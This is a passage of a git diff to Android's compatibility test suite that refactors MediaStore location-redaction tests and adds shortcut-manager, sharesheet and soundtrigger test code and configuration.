+        final Uri publishUri = ProviderTestUtils.stageMedia(R.raw.lg_g4_iso_800_jpg, mExternalImages,
+                "image/jpeg");
         final Uri originalUri = MediaStore.setRequireOriginal(publishUri);
 
         // Since we own the image, we should be able to see the Exif data that
@@ -439,32 +414,8 @@
         try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
         }
 
-        // Remove ACCESS_MEDIA_LOCATION permission
-        try {
-            InstrumentationRegistry.getInstrumentation().getUiAutomation()
-                    .adoptShellPermissionIdentity("android.permission.MANAGE_APP_OPS_MODES",
-                            "android.permission.REVOKE_RUNTIME_PERMISSIONS");
-
-            // Revoking ACCESS_MEDIA_LOCATION permission will kill the test app.
-            // Deny access_media_permission App op to revoke this permission.
-            PackageManager packageManager = mContext.getPackageManager();
-            String packageName = mContext.getPackageName();
-            if (packageManager.checkPermission(android.Manifest.permission.ACCESS_MEDIA_LOCATION,
-                    packageName) == PackageManager.PERMISSION_GRANTED) {
-                mContext.getPackageManager().updatePermissionFlags(
-                        android.Manifest.permission.ACCESS_MEDIA_LOCATION, packageName,
-                        PackageManager.FLAG_PERMISSION_REVOKED_COMPAT,
-                        PackageManager.FLAG_PERMISSION_REVOKED_COMPAT, mContext.getUser());
-                mContext.getSystemService(AppOpsManager.class).setUidMode(
-                        "android:access_media_location", Process.myUid(),
-                        AppOpsManager.MODE_IGNORED);
-            }
-        } finally {
-            InstrumentationRegistry.getInstrumentation().getUiAutomation().
-                    dropShellPermissionIdentity();
-        }
-
-        // Now remove ownership, which means that Exif/XMP location data should be redacted
+        // Revoke location access and remove ownership, which means that location should be redacted
+        ProviderTestUtils.revokeMediaLocationPermission(mContext);
         ProviderTestUtils.clearOwner(publishUri);
         try (InputStream is = mContentResolver.openInputStream(publishUri)) {
             final ExifInterface exif = new ExifInterface(is);
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
index dca7382..88295eb 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
@@ -27,19 +27,16 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
-import android.app.AppOpsManager;
 import android.content.ContentResolver;
 import android.content.ContentUris;
 import android.content.ContentValues;
 import android.content.Context;
-import android.content.pm.PackageManager;
 import android.database.Cursor;
 import android.media.MediaMetadataRetriever;
 import android.net.Uri;
 import android.os.Environment;
 import android.os.FileUtils;
 import android.os.ParcelFileDescriptor;
-import android.os.Process;
 import android.os.storage.StorageManager;
 import android.provider.MediaStore;
 import android.provider.MediaStore.Files.FileColumns;
@@ -203,41 +200,32 @@
         return context.getContentResolver().insert(mExternalVideo, values);
     }
 
-    /**
-     * This test doesn't hold
-     * {@link android.Manifest.permission#ACCESS_MEDIA_LOCATION}, so Exif and XMP
-     * location information should be redacted.
-     */
     @Test
-    public void testLocationRedaction() throws Exception {
-        // STOPSHIP: remove this once isolated storage is always enabled
-        Assume.assumeTrue(StorageManager.hasIsolatedStorage());
-
-        final String displayName = "cts" + System.nanoTime();
-        final PendingParams params = new PendingParams(
-                mExternalVideo, displayName, "video/mp4");
-
-        final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
-        final Uri publishUri;
-        try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
-            try (InputStream in = mContext.getResources().openRawResource(R.raw.testvideo_meta);
-                 OutputStream out = session.openOutputStream()) {
-                FileUtils.copy(in, out);
-            }
-            publishUri = session.publish();
-        }
-
+    public void testOriginalAccess() throws Exception {
+        final Uri publishUri = ProviderTestUtils.stageMedia(R.raw.testvideo_meta, mExternalVideo,
+                "video/mp4");
         final Uri originalUri = MediaStore.setRequireOriginal(publishUri);
 
-        // Since we own the video, we should be able to see the location
-        // we ourselves contributed
-        try (ParcelFileDescriptor pfd = mContentResolver.openFile(publishUri, "r", null);
-                MediaMetadataRetriever mmr = new MediaMetadataRetriever()) {
-            mmr.setDataSource(pfd.getFileDescriptor());
-            assertEquals("+37.4217-122.0834/",
-                    mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION));
-            assertEquals("2", mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
+        // As owner, we should be able to request the original bytes
+        try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
         }
+
+        // Revoke location access and remove ownership, which means that location should be redacted
+        ProviderTestUtils.revokeMediaLocationPermission(mContext);
+        ProviderTestUtils.clearOwner(publishUri);
+
+        // We can't request original bytes unless we have permission
+        try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
+            fail("Able to read original content without ACCESS_MEDIA_LOCATION");
+        } catch (UnsupportedOperationException expected) {
+        }
+    }
+
+    @Test
+    public void testXmpLocationRedaction() throws Exception {
+        final Uri publishUri = ProviderTestUtils.stageMedia(R.raw.testvideo_meta, mExternalVideo,
+                "video/mp4");
+
         try (InputStream in = mContentResolver.openInputStream(publishUri);
                 ByteArrayOutputStream out = new ByteArrayOutputStream()) {
             FileUtils.copy(in, out);
@@ -248,44 +236,11 @@
             assertTrue("Failed to read XMP latitude", xmp.contains("53,50.070500N"));
             assertTrue("Failed to read non-location XMP", xmp.contains("13166/7763"));
         }
-        // As owner, we should be able to request the original bytes
-        try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
-        }
 
-        // Remove ACCESS_MEDIA_LOCATION permission
-        try {
-            InstrumentationRegistry.getInstrumentation().getUiAutomation()
-                    .adoptShellPermissionIdentity("android.permission.MANAGE_APP_OPS_MODES",
-                            "android.permission.REVOKE_RUNTIME_PERMISSIONS");
-
-            // Revoking ACCESS_MEDIA_LOCATION permission will kill the test app.
-            // Deny access_media_permission App op to revoke this permission.
-            PackageManager packageManager = mContext.getPackageManager();
-            String packageName = mContext.getPackageName();
-            if (packageManager.checkPermission(android.Manifest.permission.ACCESS_MEDIA_LOCATION,
-                    packageName) == PackageManager.PERMISSION_GRANTED) {
-                mContext.getPackageManager().updatePermissionFlags(
-                        android.Manifest.permission.ACCESS_MEDIA_LOCATION, packageName,
-                        PackageManager.FLAG_PERMISSION_REVOKED_COMPAT,
-                        PackageManager.FLAG_PERMISSION_REVOKED_COMPAT, mContext.getUser());
-                mContext.getSystemService(AppOpsManager.class).setUidMode(
-                        "android:access_media_location", Process.myUid(),
-                        AppOpsManager.MODE_IGNORED);
-            }
-        } finally {
-                InstrumentationRegistry.getInstrumentation().getUiAutomation().
-                        dropShellPermissionIdentity();
-        }
-
-        // Now remove ownership, which means that location should be redacted
+        // Revoke location access and remove ownership, which means that location should be redacted
+        ProviderTestUtils.revokeMediaLocationPermission(mContext);
         ProviderTestUtils.clearOwner(publishUri);
-        try (ParcelFileDescriptor pfd = mContentResolver.openFile(publishUri, "r", null);
-                MediaMetadataRetriever mmr = new MediaMetadataRetriever()) {
-            mmr.setDataSource(pfd.getFileDescriptor());
-            assertEquals(null,
-                    mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION));
-            assertEquals("2", mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
-        }
+
         try (InputStream in = mContentResolver.openInputStream(publishUri);
                 ByteArrayOutputStream out = new ByteArrayOutputStream()) {
             FileUtils.copy(in, out);
@@ -296,10 +251,52 @@
             assertFalse("Failed to redact XMP latitude", xmp.contains("53,50.070500N"));
             assertTrue("Redacted non-location XMP", xmp.contains("13166/7763"));
         }
-        // We can't request original bytes unless we have permission
-        try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
-            fail("Able to read original content without ACCESS_MEDIA_LOCATION");
-        } catch (UnsupportedOperationException expected) {
+    }
+
+    @Test
+    public void testIsoLocationRedaction() throws Exception {
+        // STOPSHIP: remove this once isolated storage is always enabled
+        Assume.assumeTrue(StorageManager.hasIsolatedStorage());
+
+        // These videos have all had their ISO location metadata (in the (c)xyz box) artificially
+        // modified to +58.0000+011.0000 (middle of Skagerrak).
+        int[] videoIds = new int[] {
+            R.raw.testvideo_meta,
+            R.raw.moov_at_end,
+            R.raw.moov_at_end_zero_len,
+        };
+        Uri[] uris = new Uri[videoIds.length];
+        for (int i = 0; i < videoIds.length; i++) {
+            uris[i] = ProviderTestUtils.stageMedia(videoIds[i], mExternalVideo, "video/mp4");
+        }
+
+        for (int i = 0; i < uris.length; i++) {
+            // Since we own the video, we should be able to see the location
+            // we ourselves contributed
+            try (ParcelFileDescriptor pfd = mContentResolver.openFile(uris[i], "r", null);
+                    MediaMetadataRetriever mmr = new MediaMetadataRetriever()) {
+                mmr.setDataSource(pfd.getFileDescriptor());
+                assertEquals("+58.0000+011.0000/",
+                        mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION));
+                assertEquals("2",
+                    mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
+            }
+        }
+
+        // Revoke location access and remove ownership, which means that location should be redacted
+        ProviderTestUtils.revokeMediaLocationPermission(mContext);
+
+        for (int i = 0; i < uris.length; i++) {
+            ProviderTestUtils.clearOwner(uris[i]);
+
+            try (ParcelFileDescriptor pfd = mContentResolver.openFile(uris[i], "r", null);
+                    MediaMetadataRetriever mmr = new MediaMetadataRetriever()) {
+                mmr.setDataSource(pfd.getFileDescriptor());
+                assertEquals(null,
+                        mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION));
+                assertEquals("2",
+                    mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
+            }
         }
     }
 
diff --git a/tests/tests/role/AndroidTest.xml b/tests/tests/role/AndroidTest.xml
index 71a4861..4a8189f 100644
--- a/tests/tests/role/AndroidTest.xml
+++ b/tests/tests/role/AndroidTest.xml
@@ -23,6 +23,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
index 60cac6a..00ddc34 100644
--- a/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
+++ b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
@@ -255,6 +255,10 @@
         requestRole(ROLE_NAME);
         findDontAskAgainCheck().click();
         clickButtonAndWaitForResult(true);
+        // Wait for the RequestRoleActivity inside the test app to be removed from our task so that
+        // when the test app is force stopped, our task isn't force finished and our
+        // WaitForResultActivity can survive.
+        Thread.sleep(5000);
 
         clearPackageData(APP_PACKAGE_NAME);
         // Wait for the don't ask again to be forgotten.
@@ -285,6 +289,10 @@
         requestRole(ROLE_NAME);
         findDontAskAgainCheck().click();
         clickButtonAndWaitForResult(true);
+        // Wait for the RequestRoleActivity inside the test app to be removed from our task so that
+        // when the test app is uninstalled, our task isn't force finished and our
+        // WaitForResultActivity can survive.
+        Thread.sleep(5000);
 
         uninstallPackage(APP_PACKAGE_NAME);
         // Wait for the don't ask again to be forgotten.
diff --git a/tests/tests/secure_element/omapi/apk/signed-CtsOmapiTestCases.apk b/tests/tests/secure_element/omapi/apk/signed-CtsOmapiTestCases.apk
index a6cbfd8..53275fd 100644
--- a/tests/tests/secure_element/omapi/apk/signed-CtsOmapiTestCases.apk
+++ b/tests/tests/secure_element/omapi/apk/signed-CtsOmapiTestCases.apk
Binary files differ
diff --git a/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java b/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java
index da99ff0..5d56ded 100644
--- a/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java
+++ b/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java
@@ -24,6 +24,7 @@
 
 import android.content.pm.PackageManager;
 import android.os.Build;
+import android.os.SystemProperties;
 import android.se.omapi.Channel;
 import android.se.omapi.Reader;
 import android.se.omapi.SEService;
@@ -154,7 +155,7 @@
 
     private boolean supportsHardware() {
         final PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
-        boolean lowRamDevice = PropertyUtil.propertyEquals("ro.config.low_ram", "true");
+        boolean lowRamDevice = SystemProperties.getBoolean("ro.config.low_ram", false);
         return !lowRamDevice || pm.hasSystemFeature("android.hardware.type.watch")
                 || hasSecureElementPackage(pm);
     }
diff --git a/tests/tests/security/OWNERS b/tests/tests/security/OWNERS
index 5efe035..d6bf090 100644
--- a/tests/tests/security/OWNERS
+++ b/tests/tests/security/OWNERS
@@ -3,3 +3,4 @@
 jeffv@google.com
 nnk@google.com
 mspector@google.com
+manjaepark@google.com
diff --git a/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java b/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java
index 8c2f870..f5ddc7c 100644
--- a/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java
+++ b/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java
@@ -314,7 +314,12 @@
      */
     public void showsExtraChooserTargets() {
         // Should show chooser targets but must limit them, can't test limit here
-        waitAndAssertTextContains(mExtraChooserTargetsLabelBase);
+        if (mActivityManager.isLowRamDevice()) {
+            // The direct share row and EXTRA_CHOOSER_TARGETS should be hidden on low-ram devices
+            waitAndAssertNoTextContains(mExtraChooserTargetsLabelBase);
+        } else {
+            waitAndAssertTextContains(mExtraChooserTargetsLabelBase);
+        }
     }
 
     /**
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerClientApiTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerClientApiTest.java
index 56a2579..b053abb 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerClientApiTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerClientApiTest.java
@@ -37,6 +37,11 @@
 
 import junit.framework.AssertionFailedError;
 
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.InputStream;
+import java.io.OutputStream;
+
 /**
  * Tests for {@link ShortcutManager} and {@link ShortcutInfo}.
  *
@@ -1976,6 +1981,197 @@
         });
     }
 
+    public void testPushDynamicShortcut() {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
+            // Push as first shortcut
+            getManager().pushDynamicShortcut(makeShortcut("s1", "title1"));
+            assertTrue(getManager().addDynamicShortcuts(list(
+                    makeShortcut("s2", "title2"),
+                    makeShortcut("s3", "title3"))));
+
+            assertWith(getManager().getDynamicShortcuts())
+                    .areAllEnabled()
+                    .areAllDynamic()
+                    .haveIds("s1", "s2", "s3")
+                    .forShortcutWithId("s1", si -> assertEquals("title1", si.getShortLabel()))
+                    .forShortcutWithId("s2", si -> assertEquals("title2", si.getShortLabel()))
+                    .forShortcutWithId("s3", si -> assertEquals("title3", si.getShortLabel()));
+        });
+
+        // A different package.
+        runWithCallerWithStrictMode(mPackageContext2, () -> {
+            assertTrue(getManager().addDynamicShortcuts(list(
+                    makeShortcut("s1x", "title1x"))));
+            // Push when other shortcuts exist
+            getManager().pushDynamicShortcut(makeShortcut("s2x", "title2x"));
+
+            assertWith(getManager().getDynamicShortcuts())
+                    .areAllEnabled()
+                    .areAllDynamic()
+                    .haveIds("s1x", "s2x")
+                    .forShortcutWithId("s1x", si -> assertEquals("title1x", si.getShortLabel()))
+                    .forShortcutWithId("s2x", si -> assertEquals("title2x", si.getShortLabel()));
+        });
+
+        // Push existing shortcut to update.
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
+            getManager().pushDynamicShortcut(makeShortcut("s3", "title3-updated"));
+
+            assertWith(getManager().getDynamicShortcuts())
+                    .areAllEnabled()
+                    .areAllDynamic()
+                    .haveIds("s1", "s2", "s3")
+                    .forShortcutWithId("s1", si -> {
+                        assertEquals("title1", si.getShortLabel());
+                        assertEquals(2, si.getRank());
+                    })
+                    .forShortcutWithId("s2", si -> {
+                        assertEquals("title2", si.getShortLabel());
+                        assertEquals(1, si.getRank());
+                    })
+                    .forShortcutWithId("s3", si -> {
+                        assertEquals("title3-updated", si.getShortLabel());
+                        assertEquals(0, si.getRank());
+                    });
+        });
+
+        // Push with rank.
+        runWithCallerWithStrictMode(mPackageContext2, () -> {
+            getManager().pushDynamicShortcut(makeShortcut("s3x"));
+            getManager().pushDynamicShortcut(makeShortcutWithRank("s4x", 2));
+
+            assertWith(getManager().getDynamicShortcuts())
+                    .areAllEnabled()
+                    .areAllDynamic()
+                    .haveIds("s1x", "s2x", "s3x", "s4x")
+                    .forShortcutWithId("s1x", si -> assertEquals(3, si.getRank()))
+                    .forShortcutWithId("s2x", si -> assertEquals(1, si.getRank()))
+                    .forShortcutWithId("s3x", si -> assertEquals(0, si.getRank()))
+                    .forShortcutWithId("s4x", si -> assertEquals(2, si.getRank()));
+        });
+
+        // Push when limit is reached.
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
+            assertTrue(getManager().setDynamicShortcuts(makeShortcuts(makeIds("s", 1, 15))));
+            assertWith(getManager().getDynamicShortcuts())
+                    .areAllEnabled()
+                    .areAllDynamic()
+                    .haveIds(makeIds("s", 1, 15))
+                    .forShortcutWithId("s1", si -> assertEquals(0, si.getRank()))
+                    .forShortcutWithId("s2", si -> assertEquals(1, si.getRank()))
+                    .forShortcutWithId("s15", si -> assertEquals(14, si.getRank()));
+
+            getManager().pushDynamicShortcut(makeShortcutWithRank("s1", 15));
+            assertWith(getManager().getDynamicShortcuts())
+                    .areAllEnabled()
+                    .areAllDynamic()
+                    .haveIds(makeIds("s", 1, 15))
+                    .forShortcutWithId("s1", si -> assertEquals(14, si.getRank()))
+                    .forShortcutWithId("s2", si -> assertEquals(0, si.getRank()))
+                    .forShortcutWithId("s15", si -> assertEquals(13, si.getRank()));
+
+            getManager().pushDynamicShortcut(makeShortcut("s16"));
+            assertWith(getManager().getDynamicShortcuts())
+                    .areAllEnabled()
+                    .areAllDynamic()
+                    .haveIds(makeIds("s", 2, 16))
+                    .forShortcutWithId("s2", si -> assertEquals(1, si.getRank()))
+                    .forShortcutWithId("s15", si -> assertEquals(14, si.getRank()))
+                    .forShortcutWithId("s16", si -> assertEquals(0, si.getRank()));
+
+            getManager().pushDynamicShortcut(makeShortcutWithRank("s2", 15));
+            getManager().pushDynamicShortcut(makeShortcutWithRank("s17", 100));
+            assertWith(getManager().getDynamicShortcuts())
+                    .areAllEnabled()
+                    .areAllDynamic()
+                    .haveIds(makeIds("s", 3, 17))
+                    .forShortcutWithId("s3", si -> assertEquals(1, si.getRank()))
+                    .forShortcutWithId("s16", si -> assertEquals(0, si.getRank()))
+                    .forShortcutWithId("s17", si -> assertEquals(14, si.getRank()));
+        });
+
+        setDefaultLauncher(getInstrumentation(), mLauncherContext1);
+        runWithCallerWithStrictMode(mLauncherContext1, () -> {
+            getLauncherApps().pinShortcuts(mPackageContext1.getPackageName(),
+                    list("s3", "s4"), getUserHandle());
+        });
+
+        // Push when the removed shortcut is pinned.
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
+            getManager().pushDynamicShortcut(makeShortcutWithRank("s3", 15));
+            getManager().pushDynamicShortcut(makeShortcut("s18"));
+            assertWith(getManager().getDynamicShortcuts())
+                    .areAllEnabled()
+                    .areAllDynamic()
+                    .haveIds(makeIds("s", 4, 18))
+                    .forShortcutWithId("s4", si -> assertEquals(2, si.getRank()))
+                    .forShortcutWithId("s16", si -> assertEquals(1, si.getRank()))
+                    .forShortcutWithId("s17", si -> assertEquals(14, si.getRank()))
+                    .forShortcutWithId("s18", si -> assertEquals(0, si.getRank()));
+
+            assertWith(getManager().getPinnedShortcuts())
+                    .areAllEnabled()
+                    .areAllPinned()
+                    .haveIds("s3", "s4");
+        });
+    }
+
+    public void testRemoveLongLivedShortcuts() {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
+            getManager().addDynamicShortcuts(list(makeLongLivedShortcut("s1"),
+                    makeLongLivedShortcut("s2"), makeLongLivedShortcut("s3")));
+
+            assertWith(getManager().getDynamicShortcuts())
+                    .areAllEnabled()
+                    .areAllDynamic()
+                    .haveIds("s1", "s2", "s3");
+
+            // TODO: cache some shortcuts to verify the difference between removeDynamicShortcuts()
+            //  and removeLongLivedShortcuts
+
+            getManager().removeLongLivedShortcuts(list("s1", "s3"));
+
+            assertWith(getManager().getDynamicShortcuts())
+                    .areAllEnabled()
+                    .areAllDynamic()
+                    .haveIds("s2");
+        });
+    }
+
+    public void testShortcutsWithUriIcons() throws Exception {
+        File file = new File(getTestContext().getFilesDir(), "testimage.jpg");
+        try {
+            // Write file to disk
+            try (InputStream source = getTestContext().getResources().openRawResource(
+                    R.drawable.black_32x32);
+                 OutputStream target = new FileOutputStream(file)) {
+                byte[] buffer = new byte[1024];
+                for (int len = source.read(buffer); len >= 0; len = source.read(buffer)) {
+                    target.write(buffer, 0, len);
+                }
+            }
+            assertTrue(file.exists());
+
+            final Uri fileUri = Uri.fromFile(file);
+            final Icon icon1 = Icon.createWithContentUri(fileUri);
+            final Icon icon2 = Icon.createWithAdaptiveBitmapContentUri(fileUri);
+
+            runWithCallerWithStrictMode(mPackageContext1, () -> {
+                assertTrue(getManager().setDynamicShortcuts(list(
+                        makeShortcutWithIcon("s1", icon1), makeShortcutWithIcon("s2", icon2))));
+
+                assertWith(getManager().getDynamicShortcuts()).haveIds("s1", "s2");
+
+                assertIconDimensions(mLauncherContext1, mPackageContext1.getPackageName(), "s1",
+                        icon1);
+                assertIconDimensions(mLauncherContext1, mPackageContext1.getPackageName(), "s2",
+                        icon2);
+            });
+        } finally {
+            file.delete();
+        }
+    }
+
     // TODO Test auto rank adjustment.
     // TODO Test save & load.
 }
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerCtsTestsBase.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerCtsTestsBase.java
index 0f5b4ed..7abd0a2 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerCtsTestsBase.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerCtsTestsBase.java
@@ -398,7 +398,8 @@
     protected ShortcutInfo makeShortcutWithRank(String id, int rank) {
         return makeShortcut(
                 id, "Title-" + id, /* activity =*/ null, /* icon =*/ null,
-                makeIntent(Intent.ACTION_VIEW, ShortcutActivity.class), rank, /* locusId =*/ null);
+                makeIntent(Intent.ACTION_VIEW, ShortcutActivity.class), rank, /* locusId =*/ null,
+                /* longLived =*/ false);
     }
 
     /**
@@ -408,7 +409,7 @@
         return makeShortcut(
                 id, "Title-" + id, /* activity =*/ null, /* icon =*/ null,
                 makeIntent(Intent.ACTION_VIEW, ShortcutActivity.class), /* rank =*/ 0,
-                new LocusId(locusId));
+                new LocusId(locusId), /* longLived =*/ false);
     }
 
     /**
@@ -418,14 +419,14 @@
         return makeShortcut(
                 id, shortLabel, /* activity =*/ null, /* icon =*/ null,
                 makeIntent(Intent.ACTION_VIEW, ShortcutActivity.class), /* rank =*/ 0,
-                /* locusId =*/ null);
+                /* locusId =*/ null, /* longLived =*/ false);
     }
 
     protected ShortcutInfo makeShortcut(String id, ComponentName activity) {
         return makeShortcut(
                 id, "Title-" + id, activity, /* icon =*/ null,
                 makeIntent(Intent.ACTION_VIEW, ShortcutActivity.class), /* rank =*/ 0,
-                /* locusId =*/ null);
+                /* locusId =*/ null, /* longLived =*/ false);
     }
 
     /**
@@ -435,7 +436,17 @@
         return makeShortcut(
                 id, "Title-" + id, /* activity =*/ null, icon,
                 makeIntent(Intent.ACTION_VIEW, ShortcutActivity.class), /* rank =*/ 0,
-                /* locusId =*/ null);
+                /* locusId =*/ null, /* longLived =*/ false);
+    }
+
+    /**
+     * Make a long-lived shortcut with an ID.
+     */
+    protected ShortcutInfo makeLongLivedShortcut(String id) {
+        return makeShortcut(
+                id, "Title-" + id, /* activity =*/ null, /* icon =*/ null,
+                makeIntent(Intent.ACTION_VIEW, ShortcutActivity.class), /* rank =*/ 0,
+                /* locusId =*/ null, /* longLived =*/ true);
     }
 
     /**
@@ -450,7 +461,7 @@
     }
 
     /**
-     * Makes and array of shortcut IDs.
+     * Makes an array of shortcut IDs.
      * For example, makeIds("sX", 4, 9) will return {"sX4", "sX5", "sX6", "sX7", "sX8", "sX9"}.
      */
     protected String[] makeIds(String prefix, int first, int last) {
@@ -470,11 +481,12 @@
      * Make a shortcut with details.
      */
     protected ShortcutInfo makeShortcut(String id, String shortLabel, ComponentName activity,
-            Icon icon, Intent intent, int rank, LocusId locusId) {
+            Icon icon, Intent intent, int rank, LocusId locusId, boolean longLived) {
         final ShortcutInfo.Builder b = makeShortcutBuilder(id)
                 .setShortLabel(shortLabel)
                 .setRank(rank)
-                .setIntent(intent);
+                .setIntent(intent)
+                .setLongLived(longLived);
         if (activity != null) {
             b.setActivity(activity);
         } else if (mTargetActivityOverride != null) {
diff --git a/tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp b/tests/tests/soundtrigger/Android.bp
similarity index 78%
copy from tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp
copy to tests/tests/soundtrigger/Android.bp
index d957080..6910adb 100644
--- a/tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp
+++ b/tests/tests/soundtrigger/Android.bp
@@ -1,4 +1,3 @@
-//
 // Copyright (C) 2020 The Android Open Source Project
 //
 // Licensed under the Apache License, Version 2.0 (the "License");
@@ -12,19 +11,20 @@
 // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 // See the License for the specific language governing permissions and
 // limitations under the License.
-//
 
-android_test_helper_app {
-    name: "CtsAutoRevokeWhitelistedDummyApp",
+android_test {
+    name: "CtsSoundTriggerTestCases",
     defaults: ["cts_defaults"],
-    sdk_version: "test_current",
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "androidx.test.ext.junit",
+    ],
+    srcs: ["src/**/*.java"],
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
-        "vts",
-        "vts10",
-        "mts",
         "general-tests",
     ],
-    srcs: ["src/**/*.java", "src/**/*.kt"],
+    sdk_version: "test_current",
 }
diff --git a/tests/tests/soundtrigger/AndroidManifest.xml b/tests/tests/soundtrigger/AndroidManifest.xml
new file mode 100644
index 0000000..cfdc69f
--- /dev/null
+++ b/tests/tests/soundtrigger/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.soundtrigger.cts">
+
+    <application>
+      <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.soundtrigger.cts"
+                     android:label="CTS tests of android.soundtrigger">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+</manifest>
+
diff --git a/tests/tests/soundtrigger/AndroidTest.xml b/tests/tests/soundtrigger/AndroidTest.xml
new file mode 100644
index 0000000..f6df62c
--- /dev/null
+++ b/tests/tests/soundtrigger/AndroidTest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Voice Interaction test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="not-shardable" value="true" />
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsSoundTriggerTestCases.apk"/>
+    </target_preparer>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.soundtrigger.cts" />
+        <option name="runtime-hint" value="1m" />
+    </test>
+</configuration>
diff --git a/tests/tests/soundtrigger/OWNERS b/tests/tests/soundtrigger/OWNERS
new file mode 100644
index 0000000..20c9447
--- /dev/null
